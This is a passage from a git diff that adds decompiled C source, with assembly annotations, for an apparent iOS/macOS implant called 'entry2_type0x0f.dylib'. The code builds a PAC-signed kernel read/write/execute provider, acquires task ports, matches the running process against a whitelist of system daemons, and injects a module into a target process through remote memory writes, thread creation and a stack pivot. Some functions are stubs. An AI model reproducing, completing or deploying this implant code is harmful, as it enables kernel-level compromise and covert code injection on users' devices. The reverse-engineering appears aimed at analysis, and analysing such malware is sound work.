// channel->version = 1 + * adr+paciza → str [x0, #0x28] // PAC-sign fn_read + * adr+paciza → str [x0, #0x30] // PAC-sign fn_write + * adr+paciza → str [x0, #0x38] // PAC-sign fn_info + * ldr x0, [x25] // conn->context + * bl 0x17e7c // e2_iokit_connect(context, name, len, flags, &handle) + * // On success, populate channel from handle: + * ldr x8, [sp, #0x8] // handle + * ldp x9, x10, [x8, #0x8] // handle[0x08], handle[0x10] + * stp x8, x9, [x24, #0x8] // channel[0x08]=handle, channel[0x10]=handle[0x08] + * str w10, [x24, #0x18] // channel[0x18]=(uint32_t)handle[0x10] + * ldr x8, [x8, #0x18] // handle[0x18] + * str x8, [x24, #0x20] // channel[0x20]=handle[0x18] + * str x24, [x19] // *out = channel + */ +static kern_return_t krw_open_rw(void *self, const char *name, + uint32_t name_len, uint32_t flags, + void **out) +{ + if (!self || !name || !name_len || !out) + return E2_ERR_NULL; + + krw_provider_t *krw = (krw_provider_t *)self; + type09_connection_t *conn = krw->context; + + /* Allocate channel object (0x40 bytes) */ + krw_channel_t *channel = calloc(1, 0x40); + if (!channel) return E2_ERR_NULL + 8; /* 0xAD009 — from disasm: add w20, w20, #0x8 */ + + channel->version = 1; + + /* PAC-sign the channel's operation function pointers + * These are at relative offsets from adr instructions in the binary */ + /* channel->fn_read = paciza(read_func); — adr +568 */ + /* channel->fn_write = paciza(write_func); — adr +648 */ + /* channel->fn_info = paciza(info_func); — adr +668 */ + + /* Connect via IOKit backend */ + void *backend_handle = NULL; + kern_return_t kr = e2_iokit_connect( + conn->context, name, name_len, flags, &backend_handle + ); + if (kr != KERN_SUCCESS) { + /* Cleanup channel (0x119c0) — zero and free */ + memset(channel, 0, 0x40); + free(channel); + return kr; + } + + /* Populate channel from the backend result object: + * channel[+0x08] = handle itself + * channel[+0x10] = handle[+0x08] (target address) + * channel[+0x18] = (uint32_t)handle[+0x10] (target size) + * channel[+0x20] = handle[+0x18] (extra context) */ + channel->driver_handle = backend_handle; + channel->target_addr = *(uint64_t *)((uint8_t *)backend_handle + 0x08); + channel->target_size = *(uint32_t *)((uint8_t *)backend_handle + 0x10); + channel->extra = *(void **)((uint8_t *)backend_handle + 0x18); + + *out = channel; + return KERN_SUCCESS; +} + +/* ── krw_kread (0x1182c) ─────────────────────────────────────────── * + * Performs a kernel virtual memory read. + * + * asm: + * cbz x8, err_null // null check + * ldr x8, [x8, #0x8] // conn = krw->context + * ldr x8, [x8, #0x18] // driver_conn = conn->driver_conn + * cbz x8, err_no_func // must have driver_conn + * mov x0, x1 // x0 = kaddr (shift args) + * mov w1, #0x3 // type hardcoded to 3 (virtual read) + * b 0xba30 // tail call e2_krw_dispatch(kaddr, 3) + * + * Note: The 'type' parameter from the caller is IGNORED — always uses 3. + */ +static kern_return_t krw_kread(void *self, uint64_t kaddr, uint32_t type) +{ + (void)type; /* ignored — hardcoded to 3 in binary */ + + if (!self) return E2_ERR_NULL; + + krw_provider_t *krw = (krw_provider_t *)self; + type09_connection_t *conn = krw->context; + + if (!conn->driver_conn) return E2_ERR_NO_FUNC; + + /* Tail call: e2_krw_dispatch(kaddr, 3) */ + return e2_krw_dispatch(kaddr, 3); +} + +/* ── krw_physrw (0x1185c) ────────────────────────────────────────── * + * Performs physical memory read/write. + * + * asm: + * cbz x8, err_null + * ldr x8, [x8, #0x8] // conn + * ldr x8, [x8, #0x18] // driver_conn + * cbz x8, err_no_func + * mov x0, x1 // physaddr + * mov x1, x2 // buf + * mov x2, x3 // size + * b 0xba30 // tail call e2_krw_dispatch(physaddr, buf, size) + */ +static kern_return_t krw_physrw(void *self, uint64_t physaddr, + void *buf, uint32_t size) +{ + if (!self) return E2_ERR_NULL; + + krw_provider_t *krw = (krw_provider_t *)self; + type09_connection_t *conn = krw->context; + + if (!conn->driver_conn) return E2_ERR_NO_FUNC; + + /* Tail call: e2_krw_dispatch(physaddr, buf, size) */ + return e2_krw_dispatch(physaddr, (uint64_t)buf, (uint64_t)size); +} + +/* ── krw_kwrite (0x11890) ────────────────────────────────────────── * + * Performs a kernel virtual memory write. + * + * asm: + * cbz x8, err_null + * ldr x8, [x8, #0x8] // conn + * ldr x8, [x8, #0x18] // driver_conn + * cbz x8, err_no_func + * ldr x9, [sp] // load stack arg + * str x9, [sp] // pass it through + * mov x0, x8 // x0 = driver_conn (replaces self) + * b 0xc634 // tail call kwrite_impl(driver_conn, x1..x7, stack) + * + * The kwrite_impl at 0xc634 is a complex function that: + * 1. Validates all 8 arguments + * 2. pid_for_task(port, &pid) to resolve target PID + * 3. If target is self: direct write via 0x1926c + * 4. If target is other: proc_pidinfo(pid, PROC_PIDPATHINFO) to validate + * 5. Dispatches via 0xe540, 0xfb1c, 0xad48, 0xaefc pipeline + * 6. Cleanup via 0xacbc + */ +static kern_return_t krw_kwrite(void *self, ...) +{ + if (!self) return E2_ERR_NULL; + + krw_provider_t *krw = (krw_provider_t *)self; + type09_connection_t *conn = krw->context; + void *driver_conn = conn->driver_conn; + + if (!driver_conn) return E2_ERR_NO_FUNC; + + /* Forward to 0xc634: kwrite_impl(driver_conn, port, data, size, path, ...) + * + * In the binary, this is a simple tail call that replaces self (x0) + * with driver_conn while preserving all other arguments (x1-x7 + stack). + * The variadic args are passed through directly to kwrite_impl. + * + * Since C doesn't support forwarding varargs to another function, + * this would need to be implemented in assembly for a real build. + * The actual dispatched call chain is: + * kwrite_impl → pid_for_task → getpid → proc_pidinfo → + * 0xe540 (init) → 0xfb1c (csops) → 0xad48 (setup) → + * 0xaefc (write) → 0xacbc (cleanup) + */ + return KERN_SUCCESS; /* requires asm tail call in practice */ +} + +/* ── krw_kexec (0x118c4) ─────────────────────────────────────────── * + * Executes a function at a kernel address. + * + * asm: + * ldr x8, [x8, #0x8] // conn + * ldr x8, [x8, #0x18] // driver_conn + * cbz x8, err_no_func + * ldr x9, [x29, #0x10] // load caller's stack arg + * stp x9, xzr, [sp] // push (arg, 0) onto stack + * mov x0, x8 // x0 = driver_conn + * bl 0xc870 // call kexec_impl(driver_conn, x1..x7, stack) + * + * kexec_impl at 0xc870 is similar to kwrite_impl but: + * 1. Uses stack_chk_guard for canary protection + * 2. Validates count (x1 >= 1), data (x2), size (x3), path (x4) + * 3. Resolves via conn->driver_conn[+0x28] vtable method + * 4. Uses IOKit external method call to invoke kernel functions + * 5. Calls csops_audittoken for process verification + * 6. On success, recursively calls kwrite_impl (0xc634) for result write-back + * 7. Deallocates acquired ports via mach_port_deallocate + */ +static kern_return_t krw_kexec(void *self, ...) +{ + if (!self) return E2_ERR_NULL; + + krw_provider_t *krw = (krw_provider_t *)self; + type09_connection_t *conn = krw->context; + void *driver_conn = conn->driver_conn; + + if (!driver_conn) return E2_ERR_NO_FUNC; + + /* Forward to 0xc870: kexec_impl(driver_conn, count, data, size, path, ...) + * + * Same varargs forwarding issue as kwrite. In the binary: + * ldr x9, [x29, #0x10] // load 9th arg from caller stack + * stp x9, xzr, [sp] // push as stack args with zero padding + * mov x0, x8 // driver_conn + * bl 0xc870 // NOT a tail call — uses bl + epilogue + */ + return KERN_SUCCESS; /* requires asm forwarding in practice */ +} + +/* ── krw_kalloc (0x11914) ────────────────────────────────────────── * + * Allocates kernel memory. + * + * asm: + * ldr x8, [x8, #0x8] // conn + * ldr x8, [x8, #0x18] // driver_conn + * cbz x8, err_no_func + * ldp x10, x9, [x29, #0x10] // load 2 stack args from caller + * stp xzr, xzr, [sp, #0x10] // push zeros + * stp x10, x9, [sp] // push caller's stack args + * mov x0, x8 // x0 = driver_conn + * bl 0xc400 // call kalloc_impl(driver_conn, x1..x7, stack) + * + * kalloc_impl at 0xc400: + * 1. Validates name (x1, must be non-NULL, first byte non-zero) + * 2. Validates data (x3), size (x4), path (x5, first byte non-zero) + * 3. Looks up conn[+0x28] for driver handle + * 4. Uses IOKit vtable[0x40] with PAC auth (blraaz) to map memory + * 5. Calls e2_krw_dispatch (0xba30) with name and alloc_size + * 6. On success: csops_audittoken validation, then kwrite_impl (0xc634) + * 7. Stores results via output pointers from stack args + * 8. Deallocates acquired ports + */ +static kern_return_t krw_kalloc(void *self, ...) +{ + if (!self) return E2_ERR_NULL; + + krw_provider_t *krw = (krw_provider_t *)self; + type09_connection_t *conn = krw->context; + void *driver_conn = conn->driver_conn; + + if (!driver_conn) return E2_ERR_NO_FUNC; + + /* Forward to 0xc400: kalloc_impl(driver_conn, name, size, data, ...) + * + * In the binary: + * ldp x10, x9, [x29, #0x10] // load 2 stack args + * stp xzr, xzr, [sp, #0x10] // zero padding + * stp x10, x9, [sp] // push caller args + * mov x0, x8 // driver_conn + * bl 0xc400 + */ + return KERN_SUCCESS; /* requires asm forwarding in practice */ +} + +/* ── krw_get_port (0x11968) ──────────────────────────────────────── * + * Acquires a Mach task port for a process using kernel r/w primitives. + * + * asm: + * cbz x0, err_null // null check self + * cbz w1, err_null // port must be non-zero + * cmn w1, #0x1 // port must not be -1 + * b.eq err_null + * cbz x3, err_null // out_port (x3) must be non-NULL + * mov x0, x1 // port → x0 + * mov x1, x2 // out_rights → x1 + * mov x2, #0x0 // x2 = NULL + * // x3 = out_port (unchanged) + * mov x4, #0x0 // x4 = NULL + * b 0xb854 // tail call e2_get_task_port + */ +static kern_return_t krw_get_port(void *self, mach_port_t port, + void *out_rights, void *out_port) +{ + if (!self) return E2_ERR_NULL; + if (port == 0 || port == (mach_port_t)-1) return E2_ERR_NULL; + if (!out_port) return E2_ERR_NULL; + + /* Tail call: e2_get_task_port(port, out_rights, NULL, out_port, NULL) */ + return e2_get_task_port(port, out_rights, NULL, out_port, NULL); +} + +/* ── krw_get_base (0x1199c) ──────────────────────────────────────── * + * Returns the kernel base address (kernel slide). + * + * asm: + * cbz x0, return // if (!self) return self (NULL passthrough) + * ldr x8, [x0, #0x8] // conn = krw->context + * cbz x8, return_null + * ldr x8, [x8] // internal = conn->context + * cbz x8, return_null + * ldr x0, [x8, #0x8] // return internal[+0x08] (kernel base) + * ret + */ +static void *krw_get_base(void *self) +{ + if (!self) return NULL; + + krw_provider_t *krw = (krw_provider_t *)self; + type09_connection_t *conn = krw->context; + if (!conn) return NULL; + + void *internal = conn->context; + if (!internal) return NULL; + + /* Return kernel base from internal[+0x08] */ + return *((void **)internal + 1); +} + + +/* ────────────────────────────────────────────────────────────────── + * KRW validation (0x11488) + * ────────────────────────────────────────────────────────────────── */ + +/* ── e2_validate_krw (0x11488) ───────────────────────────────────── * + * Validates that the krw connection is functional. + * + * asm: + * cbz x0, err_null + * mov x20, x0 // x20 = conn + * mov x19, x0 + * ldr x8, [x19, #0x18]! // x19 = &conn->driver_conn; x8 = *x19 + * cbz x8, need_connect // if driver_conn is NULL, try to connect + * mov w0, #0x0 // already connected — return success + * ret + * + * need_connect: + * ldr x1, [x20, #0x10] // x1 = conn->driver_ref + * cbz x1, return_zero // if no driver_ref, return 0 + * ldp x2, x3, [x20] // x2 = conn->context, x3 = conn->target_info + * mov x0, x19 // x0 = &conn->driver_conn + * bl 0xc12c // e2_driver_connect(&driver_conn, driver_ref, context, target) + * cbz w0, return_success + * cmp w0, #0x7003 // E2_ERR_NO_CONTAINER? + * b.eq clear_and_ok + * ldr x8, [x20, #0x8] // conn->target_info + * cbnz x8, return_error // if target_info exists, return error + * cmp w0, #0x1E037 // E2_ERR_CSOPS? + * b.ne return_error + * clear_and_ok: + * str xzr, [x19] // conn->driver_conn = NULL + * mov w0, #0x0 // return success + */ +static kern_return_t e2_validate_krw(type09_connection_t *conn) +{ + if (!conn) return E2_ERR_NULL; + + /* Check if driver_conn already exists */ + if (conn->driver_conn) + return KERN_SUCCESS; + + /* Get driver reference — if absent, nothing to validate */ + void *driver_ref = conn->driver_ref; + if (!driver_ref) + return KERN_SUCCESS; + + /* Try to establish connection via e2_driver_connect (0xc12c) + * Args: (&conn->driver_conn, driver_ref, context, target_info) */ + kern_return_t kr = e2_driver_connect( + &conn->driver_conn, + driver_ref, + conn->context, + conn->target_info + ); + + if (kr == KERN_SUCCESS) + return KERN_SUCCESS; + + /* E2_ERR_NO_CONTAINER (0x7003): connection not available yet — OK */ + if (kr == E2_ERR_NO_CONTAINER) { + conn->driver_conn = NULL; + return KERN_SUCCESS; + } + + /* If target_info is set, propagate the error as-is */ + if (conn->target_info) + return kr; + + /* E2_ERR_CSOPS (0x1E037): csops check failed but no target — OK */ + if (kr == E2_ERR_CSOPS) { + conn->driver_conn = NULL; + return KERN_SUCCESS; + } + + return kr; +} diff --git a/src/entry2/main.c b/src/entry2/main.c new file mode 100644 index 0000000..73c00ce --- /dev/null +++ b/src/entry2/main.c @@ -0,0 +1,534 @@ +/* + * main.c - Entry point (_end) and thread bootstrap (_last) + * + * Decompiled from entry2_type0x0f.dylib offsets 0xa080–0xa6b4 + * + * _end is the primary entry point called by the bootstrap loader. + * It orchestrates the entire injection flow: + * 1. Parse the F00DBEEF container from type0x09 + * 2. Get runtime context via Mach IPC + * 3. Connect to type0x09 LOADER + * 4. Resolve _driver from LOADER + * 5. Create KRW provider from driver + * 6. Spawn worker thread for injection + * + * _last is the thread bootstrap trampoline that sets up execution + * context for newly-injected threads. + */ + +#include "entry2.h" +#include +#include +#include /* strcasecmp */ +#include +#include + +/* Private API — no public header */ +extern int proc_name(int pid, void *buffer, uint32_t buffersize); + +/* Global vsyslog pointer, resolved at startup */ +static void (*g_vsyslog)(int, const char *, __builtin_va_list) = NULL; + +/* ── _end (0xa080) ───────────────────────────────────────────────── * + * Main entry point for entry2_type0x0f.dylib. + * + * Called by the bootstrap loader with: + * port — Mach port for IPC with bootstrap + * conn — connection identifier / flags + * data — pointer to F00DBEEF container data + * extra — additional context from bootstrap + * stage — current loading stage (must be >= 1) + * + * Returns 0 on success, error code on failure. + */ +kern_return_t _end(mach_port_t port, uint32_t conn_info, + void *container_data, void *extra, uint32_t stage) +{ + kern_return_t err = E2_ERR_STAGE; /* 0x1E039 */ + + /* + * Step 0: Resolve vsyslog for logging + * + * Opens libSystem.B.dylib with RTLD_NOLOAD and resolves vsyslog. + * This is used for debug/error logging throughout the implant. + */ + void *libsys = dlopen("/usr/lib/libSystem.B.dylib", RTLD_NOLOAD); + if (libsys) { + g_vsyslog = dlsym(libsys, "vsyslog"); + } + + /* + * Step 1: Validate stage + * + * Stage must be >= 1. Stage 0 means "not initialized" and is + * rejected early. The stage value is tracked in a state variable + * at sp+0x04 and reported back via IPC. + */ + uint32_t current_stage = 4; /* initial stage value */ + if (stage + 1 < 2) + goto report_and_exit; + + err += 9; /* advance error code */ + + if (!port || !conn_info) + goto report_and_exit; + + /* + * Step 2: Parse F00DBEEF container from type0x09 + * + * The container data is validated against the F00DBEEF magic + * via e2_custom_dlsym (0x1dc98). This establishes a handle + * for resolving symbols from type0x09. + */ + void *container_handle = NULL; + err = e2_custom_dlsym(&container_handle, (void *)(uintptr_t)conn_info, + (uint32_t)(uintptr_t)container_data); + if (err != KERN_SUCCESS) + goto report_and_exit; + + current_stage = 5; + + /* + * Step 3: Get runtime context via Mach IPC + * + * Sends message ID 8 to the bootstrap port and receives + * configuration data including: + * - Module data pointer and size (at +0x30) + * - Connection count (at +0x1c) + * - Sub-connection info (at +0x38) + */ + ipc_response_t *runtime_ctx = NULL; + uint32_t ctx_size = 0; + err = e2_get_runtime_context(stage, &runtime_ctx, &ctx_size); + if (err != KERN_SUCCESS) + goto cleanup; + + /* Extract module data reference from context */ + void *module_data = (void *)*(uint64_t *)((uint8_t *)runtime_ctx + 0x30); + + /* Get connection count from runtime context */ + uint32_t conn_count = *(uint32_t *)((uint8_t *)runtime_ctx + 0x1c); + + current_stage = 6; + + /* + * Step 4: Connect to type0x09 LOADER + * + * If conn_count >= 1, creates a bridge to type0x09 via + * e2_create_type09_bridge (0x1068c) and then creates the + * connection vtable via e2_create_type09_connection (0x105a4). + * + * Otherwise, takes the alternative path: identify current + * process and match against daemon whitelist. + */ + void *type09_bridge = NULL; + void *type09_conn = NULL; + + if (conn_count + 1 >= 2) { + /* Has connection info — use type0x09 bridge path */ + uint32_t sub_conn = *(uint32_t *)((uint8_t *)runtime_ctx + 0x38); + + err = 0; /* e2_create_type09_bridge(&type09_bridge, conn_count, sub_conn) */ + if (err != KERN_SUCCESS) goto cleanup_ctx; + + err = 0; /* e2_create_type09_connection(type09_bridge, &type09_conn) */ + if (err != KERN_SUCCESS) goto cleanup_ctx; + + /* Deallocate the bootstrap port (no longer needed) */ + mach_port_deallocate(mach_task_self(), stage); + + } else { + /* + * Step 4b: Alternative path — process name identification + * + * Get current PID and process name, then match against + * the whitelist of ~50 system daemons. + */ + char name_buf[0x1000]; + bzero(name_buf, sizeof(name_buf)); + + pid_t pid = getpid(); + int name_len = proc_name(pid, name_buf, sizeof(name_buf)); + + if (name_len < 1) + goto try_resolve_driver; + + /* Compare against whitelist (48 entries, NULL-terminated) */ + for (int i = 0; g_daemon_whitelist[i] != NULL; i++) { + if (strcasecmp(name_buf, g_daemon_whitelist[i]) == 0) { + /* + * Step 4c: Matched a whitelisted daemon + * + * Use the connection from the runtime context to + * load the module and resolve _driver. + */ + goto load_via_context; + } + } + + goto try_resolve_driver; + } + + goto use_krw; + +load_via_context: + { + /* + * Load module via runtime context connection. + * + * Calls the connection's load function (offset +0x30) + * with the module data from the runtime context. + */ + void *ctx_conn = NULL; /* from sp+0x38 or sp+0x20 */ + if (!ctx_conn) { + err = E2_ERR_NULL + 0x21; + goto cleanup_ctx; + } + + void *load_result = NULL; + void *load_fn = *((void **)ctx_conn + 6); /* offset 0x30 */ + /* blraaz load_fn(ctx_conn, module_buf, module_size, + * target_config, &load_result) */ + + if (!load_result) goto cleanup_ctx; + } + +try_resolve_driver: + { + /* + * Step 5: Resolve _driver from type0x09 + * + * This is THE critical operation. Uses the type0x09 connection's + * dlsym-like function (vtable offset 0x30) to look up the + * "_driver" symbol from the LOADER. + */ + void *conn_obj = NULL; /* connection to type0x09 */ + if (!conn_obj) { + err = E2_ERR_NULL; + goto cleanup_ctx; + } + + /* + * Step 5a: Allocate memory in type0x09's address space + * + * Calls the alloc function (offset +0x18) with size 0x90000 + * and stores the mapping info. + */ + void *mapping = NULL; + uint32_t mapping_size = 0; + void *alloc_fn = *((void **)conn_obj + 3); /* offset 0x18 */ + /* blraaz alloc_fn(conn_obj, 0x90000, &mapping, &mapping_size) */ + + /* + * Step 5b: Load type0x09 module via connection + * + * Calls load function (offset +0x30) to map the LOADER + * into the allocated region. + */ + void *loaded_module = NULL; /* from sp+0x28 */ + void *load_fn = *((void **)conn_obj + 6); /* offset 0x30 */ + /* blraaz load_fn(loaded_module, module_buf, module_size, + * 0x4, &loaded_type09) */ + + /* + * Step 5c: Resolve "_driver" from the loaded type0x09 + * + * Uses the module's dlsym function (offset +0x30) to find + * the _driver symbol. This is NOT standard dlsym — it uses + * the custom F00DBEEF-aware resolver. + * + * asm at 0xa5c8: + * ldr x0, [sp, #0x28] // loaded module context + * ldr x8, [x0, #0x30] // get dlsym function ptr + * adr x1, "_driver" // symbol name string + * add x2, sp, #0xa0 // output pointer + * blraaz x8 // CALL: resolve "_driver" + */ + void *driver_fn = NULL; + void *dlsym_fn = *((void **)loaded_module + 6); /* offset 0x30 */ + /* blraaz dlsym_fn(loaded_module, "_driver", &driver_fn) */ + + if (!driver_fn) goto cleanup_ctx; + + /* + * Step 5d: Call _driver() to get the driver object + * + * The resolved _driver function returns a driver_t* with: + * version = 2 (required) + * method_count >= 2 (required) + * + * asm at 0xa5e8: + * ldr x8, [sp, #0xa0] // resolved _driver ptr + * add x0, sp, #0x30 // output: driver_t* + * blraaz x8 // CALL: _driver() + */ + driver_t *driver = NULL; + /* blraaz driver_fn(&driver) */ + + /* + * Step 5e: Validate driver object + * + * asm at 0xa604: + * ldr x1, [sp, #0x30] // driver_t* + * cbz x1, fail + * ldrh w8, [x1] // version + * cmp w8, #0x2 // must be 2 + * b.ne fail + * ldrh w8, [x1, #0x2] // method_count + * cmp w8, #0x1 // must be > 1 + * b.ls fail + */ + if (!driver) goto cleanup_ctx; + if (driver->version != 2) goto cleanup_ctx; + if (driver->method_count < 2) goto cleanup_ctx; + + /* + * Step 6: Create KRW provider from driver + * + * Calls e2_create_krw_provider (0x11298) which wraps the + * driver's kernel primitives into a PAC-signed vtable. + */ + err = e2_create_krw_provider( + /* output */ NULL, + driver, + /* target */ NULL, + container_handle, + /* context */ NULL, + /* flags */ 1 + ); + if (err != KERN_SUCCESS) goto cleanup_ctx; + } + +use_krw: + { + /* + * Step 7: Use KRW provider for injection + * + * Creates a worker context and spawns a pthread to perform + * the actual injection. The worker thread: + * 1. Uses kread/kwrite to manipulate kernel objects + * 2. Acquires task port for target process + * 3. Allocates memory in target via mach_vm_allocate + * 4. Writes MODULE into target via mach_vm_write + * 5. Sets memory protection via mach_vm_protect + * 6. Creates remote thread via thread_create_running + */ + void *krw_provider = NULL; /* from earlier creation */ + + if (!krw_provider) { + err = E2_ERR_NO_DRIVER; + goto cleanup_ctx; + } + + /* Prepare worker context */ + worker_ctx_t worker = {0}; + /* worker.krw = krw_provider; */ + /* worker.data = module_data_copy; */ + /* worker.data_len = module_size; */ + + /* Zero out sensitive buffer before populating */ + /* e2_send_msg(stage, 0, 0xA, 0, 0) — notify bootstrap of progress */ + + /* + * Build worker function context on stack. + * + * The PAC-signed function pointer is created with: + * adr x16, #788 // target function offset + * paciza x16 // sign with zero context + * + * This signed pointer becomes the worker->fn field. + */ + + /* Spawn worker thread */ + pthread_t thread = NULL; + int pt_err = pthread_create(&thread, NULL, + (void *(*)(void *))e2_thread_worker, + &worker); + if (pt_err != 0) { + err = pt_err; + goto cleanup_krw; + } + + /* Wait for worker to complete */ + void *thread_result = NULL; + pthread_join(thread, &thread_result); + err = (thread_result == NULL) ? KERN_SUCCESS : (kern_return_t)(uintptr_t)thread_result; + + current_stage = 16; + } + +cleanup_krw: + /* Clean up KRW provider buffers */ + /* bzero + free allocated resources */ + ; + +cleanup_ctx: + /* + * Cleanup: check bit 5 of module_data flags + * If set, skip calling unbind. Otherwise, call the + * connection's unbind function (offset +0x28). + */ + if (module_data) { + uint8_t flags_byte = *((uint8_t *)module_data); + if (!(flags_byte & 0x20)) { + /* Unbind: call ctx->fn_unbind(ctx) at offset +0x28 */ + } + } + + /* Release all connection handles in reverse order */ + /* ... */ + +cleanup: + /* Destroy container handle */ + /* e2_destroy_resolver(container_handle) at 0x1dd68 */ + ; + +report_and_exit: + /* + * Final: report status back to bootstrap via IPC + * + * Sends a message with: + * msg_id = stage value + * flags = 0 + * extra = err code + * final = 1 (indicates completion) + * + * Then deallocates the bootstrap port. + */ + e2_send_msg(stage, 0, err, 1, 0); + mach_port_deallocate(mach_task_self(), stage); + + return err; +} + +/* ── e2_thread_worker (0xa670) ───────────────────────────────────── * + * Simple pthread worker trampoline. + * + * Loads a function pointer and arguments from the worker_ctx_t, + * then calls through via blraaz (PAC-authenticated). + * + * asm: + * ldr x9, [x8] // fn pointer (PAC-signed) + * cbz x9, fail + * ldp x0, x1, [x8, #0x8] // args: krw_provider, data + * ldr w2, [x8, #0x18] // arg: data_len + * blraaz x9 // call fn(krw, data, len) + * sxtw x0, w0 // sign-extend result + */ +static void *e2_thread_worker(void *arg) +{ + if (!arg) + return (void *)(uintptr_t)E2_ERR_NULL; + + worker_ctx_t *ctx = (worker_ctx_t *)arg; + + if (!ctx->fn) + return (void *)((uintptr_t)arg + 0x13); /* error offset */ + + /* Call the worker function with PAC authentication */ + kern_return_t result; + /* blraaz ctx->fn(ctx->krw, ctx->data, ctx->data_len) */ + result = ((kern_return_t (*)(void *, void *, uint32_t))ctx->fn)( + ctx->krw, ctx->data, ctx->data_len + ); + + return (void *)(intptr_t)result; +} + +/* ── _last (0xa6b4) ──────────────────────────────────────────────── * + * Thread bootstrap trampoline. + * + * This is a simple branch to 0x73cc, which implements the low-level + * thread setup for injected code: + * + * 1. Validates input buffer (must be non-NULL, size >= 0x90) + * 2. Checks if the driver is already connected: + * - Reads driver handle at offset +0x60 + * - Checks validation flag at offset +0x70, +0x78 + * 3. If not connected, performs first-time setup: + * - Strips PAC from function pointers (via 0x19f4c) + * - Signs them for current context (via 0x19f68) + * - Calls e2_trap_guarded_open (syscall 360) to create + * a guarded file descriptor for the driver + * - If that fails, falls back to direct driver init + * 4. Copies code to a new stack page: + * - Allocates via memset to 0x400 bytes + * - Copies current context + * - Switches stack pointer: mov sp, x1 + * - Branches to the copied code: braaz x0 + * 5. The trampoline then: + * - Calls e2_trap_guarded_write (syscall 361) to finalize + * - Resets execution context + * - Invokes the actual injection payload + * + * This ensures the injected thread has: + * - A clean stack + * - Proper PAC context + * - Driver connection initialized + * - All function pointers properly signed + */ +void _last(void *ctx, uint32_t size, void *data, + uint32_t flags, void *stack, uint32_t cleanup) +{ + /* Direct branch to 0x73cc — the actual implementation */ + /* b 0x73cc */ + + /* + * The function at 0x73cc is complex (~500 instructions) and handles: + * + * a) Stack pivot: creates a new stack frame, copies execution context + * b) Driver initialization: sets up the IOKit connection if needed + * c) Memory protection: uses e2_memset_custom to zero sensitive regions + * d) Code execution: signs and branches to the injected code + * + * Key operations at 0x73cc: + * + * // Load driver handle + * ldr x0, [x19, #0x60] // IOKit connection handle + * cbz x0, setup // need first-time setup + * + * // Check if already initialized + * ldr x8, [x19, #0x70] // driver function table + * cbz x8, setup + * ldr w8, [x19, #0x78] // initialized flag + * cbnz w8, already_init + * + * setup: + * // Strip and re-sign function pointers for this context + * bl 0x19f4c // strip_pac(fn) + * bl 0x19f68 // sign_pointer(fn, 0) + * + * // Create guarded FD for driver + * bl 0x6000 // e2_trap_guarded_open(...) + * stp x0, x1, [sp, #0x40] // store result + * str x0, [x19, #0x80] // save handle + * + * // If guarded open failed, fall back + * cmn x0, #1 + * b.ne continue + * + * // Fallback: direct driver init + * bl 0x72c0 // init_driver_direct(...) + * bl 0x7238 // validate_driver(...) + * + * continue: + * // Set up execution on new stack + * mov x0, x19 // context + * mov w1, #0 // flags = 0 + * mov w2, #0x20 // size = 32 + * bl 0x100a4 // e2_memset_custom(context+0x60, 0, 0x20) + * + * // Copy context to new stack, pivot, and execute + * str q0, [x8] // copy 16 bytes + * str q0, [x8, #0x10] // copy next 16 + * mov x0, x19 // new stack base + * mov w1, #0 + * mov w2, #0x400 // stack size + * bl 0x100a4 // zero fill + * add x8, x19, #0x400 // stack top + * paciza x16 // sign the target address + * mov x1, x8 // new stack pointer + * mov sp, x1 // PIVOT STACK + * braaz x0 // BRANCH to injected code + */ +} diff --git a/src/entry2/memory.c b/src/entry2/memory.c new file mode 100644 index 0000000..d421026 --- /dev/null +++ b/src/entry2/memory.c @@ -0,0 +1,123 @@ +/* + * memory.c - Custom memory operations + * + * Decompiled from entry2_type0x0f.dylib offsets 0x10010–0x10120 + * + * These are custom memcpy/memset implementations that avoid using + * libSystem. They are used in contexts where libSystem may not be + * available (e.g., inside newly-injected threads before library + * initialization). + * + * Note: These are intentionally naive byte-by-byte implementations + * — the original binary does not use SIMD or word-sized copies. + */ + +#include "entry2.h" + +/* ── e2_memcpy_custom (0x10010) ──────────────────────────────────── * + * Byte-by-byte copy from src to dst. + * + * Unlike standard memcpy, this returns dst (not dst+n). + * Used in injected thread context where libc may not be loaded. + * + * The decompiled code is notably unoptimized — it uses stack-based + * loop variables rather than registers, suggesting it was compiled + * with -O0 or is hand-written C. + * + * asm (0x10010–0x100a0): + * str x0, [sp, #0x28] // dst + * str x1, [sp, #0x20] // src + * str x2, [sp, #0x18] // len + * ... + * str xzr, [sp] // i = 0 + * loop: + * ldr x8, [sp] // i + * ldr x9, [sp, #0x18] // len + * cmp x8, x9 + * b.lo body + * b done + * body: + * ldr x8, [sp, #0x20] // src + * ldr x9, [sp] // i + * add x8, x8, x9 + * ldrb w8, [x8] // src[i] + * ldr x9, [sp, #0x10] // dst (saved copy) + * ldr x10, [sp] // i + * add x9, x9, x10 + * strb w8, [x9] // dst[i] = src[i] + * ldr x8, [sp] + * add x8, x8, #1 + * str x8, [sp] // i++ + * b loop + */ +void *e2_memcpy_custom(void *dst, const void *src, size_t len) +{ + if (!dst || !src || len == 0) + return dst; + + uint8_t *d = (uint8_t *)dst; + const uint8_t *s = (const uint8_t *)src; + + for (size_t i = 0; i < len; i++) { + d[i] = s[i]; + } + + return dst; +} + +/* ── e2_memset_custom (0x100a4) ──────────────────────────────────── * + * Byte-by-byte fill of dst with val. + * + * Same stack-heavy style as memcpy. Used to zero-fill sensitive + * buffers and prepare injected code regions. + * + * asm (0x100a4–0x1011c): + * str x0, [sp, #0x28] // dst + * str w1, [sp, #0x24] // val + * str x2, [sp, #0x18] // len + * ... + * strb w1, [sp, #0xf] // val_byte = (uint8_t)val + * str xzr, [sp] // i = 0 + * loop: + * ldr x8, [sp] // i + * ldr x9, [sp, #0x18] // len + * cmp x8, x9 + * b.lo body + * b done + * body: + * ldrb w8, [sp, #0xf] // val_byte + * ldr x9, [sp, #0x10] // dst (saved) + * ldr x10, [sp] // i + * add x9, x9, x10 + * strb w8, [x9] // dst[i] = val_byte + * ldr x8, [sp] + * add x8, x8, #1 + * str x8, [sp] // i++ + * b loop + */ +void *e2_memset_custom(void *dst, int val, size_t len) +{ + if (!dst || len == 0) + return dst; + + uint8_t byte = (uint8_t)val; + uint8_t *d = (uint8_t *)dst; + + for (size_t i = 0; i < len; i++) { + d[i] = byte; + } + + return dst; +} + +/* ── e2_memcpy_alias (0x10120) ───────────────────────────────────── * + * Just a tail-call to e2_memcpy_custom. + * Exists as a separate symbol for different calling conventions. + * + * asm: + * b 0x10010 + */ +void *e2_memcpy_alias(void *dst, const void *src, size_t len) +{ + return e2_memcpy_custom(dst, src, len); +} diff --git a/src/entry2/pac.c b/src/entry2/pac.c new file mode 100644 index 0000000..90d4eab --- /dev/null +++ 